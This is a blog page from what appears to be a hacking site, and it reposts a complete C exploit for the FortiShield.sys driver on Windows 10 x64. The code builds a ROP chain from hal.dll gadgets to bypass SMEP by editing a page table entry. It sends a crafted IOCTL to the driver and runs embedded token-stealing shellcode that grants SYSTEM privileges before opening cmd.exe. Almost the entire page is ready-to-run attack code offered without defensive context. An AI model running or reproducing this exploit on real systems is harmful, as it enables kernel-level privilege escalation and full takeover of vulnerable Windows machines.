Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398818

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Check this out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on: 
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")

ULONGLONG get_pxe_address_64(ULONGLONG address) {

	ULONGLONG result = address >> 9;
	result = result | 0xFFFFF68000000000;
	result = result & 0xFFFFF6FFFFFFFFF8;
	return result;

}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {

		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID hal_base = GetBaseAddr("hal.dll");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");

	ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
	ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;

	printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = hal_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG allocate_address = 0x0000000047FF016F;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating shellcode: %d\n", GetLastError());
		return 1;
	}

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e;		// pop rdx; ret
	ULONGLONG rop_02 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e;		// pop rax; ret
	ULONGLONG rop_04 = va_pte;
	ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc;		// mov byte ptr [rax], dl; ret
	ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50;		// wbinvd; ret
	ULONGLONG rop_07 = allocate_address + 0x10040;
	ULONGLONG rop_08 = fortishield_callback;
	ULONGLONG rop_09 = fortishield_restore;

	//;kd> dt -r1 nt!_TEB
	//;   +0x110 SystemReserved1  : [54] Ptr64 Void
	//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	//kd> u nt!PsGetCurrentProcess
	//nt!PsGetCurrentProcess:
	//mov rax,qword ptr gs:[188h]
	//mov rax,qword ptr [rax+0B8h]

	// TOKEN STEALING & RESTORE
        // start:
        //     mov rdx, [gs:0x188]
        //     mov r8, [rdx+0x0b8]
        //     mov r9, [r8+0x2f0]
        //     mov rcx, [r9]
        // find_system_proc:
        //     mov rdx, [rcx-0x8]
        //     cmp rdx, 4
        //     jz found_it
        //     mov rcx, [rcx]
        //     cmp rcx, r9
        //     jnz find_system_proc
        // found_it:
        //     mov rax, [rcx+0x68]
        //     and al, 0x0f0
        //     mov [r8+0x358], rax
        // restore:
        // 	mov rbp, qword ptr [rsp+0x80]
        // 	xor rbx, rbx
        // 	mov [rbp], rbx
        // 	mov rbp, qword ptr [rsp+0x88]
        // 	mov rax, rsi
        // 	mov rsp, rax
        // 	sub rsp, 0x20
        // 	jmp rbp

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
                                          "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
                                          "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
                                          "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
                                          "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
                                          "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
                                          "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0x10008, &rop_01, 0x08);
	memcpy(shellcode + 0x10010, &rop_02, 0x08);
	memcpy(shellcode + 0x10018, &rop_03, 0x08);
	memcpy(shellcode + 0x10020, &rop_04, 0x08);
	memcpy(shellcode + 0x10028, &rop_05, 0x08);
	memcpy(shellcode + 0x10030, &rop_06, 0x08);
	memcpy(shellcode + 0x10038, &rop_07, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
	memcpy(shellcode + 0x100C0, &rop_08, 0x08);
	memcpy(shellcode + 0x100C8, &rop_09, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		return 1;
	}

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	system("start cmd.exe");
	return 0;
}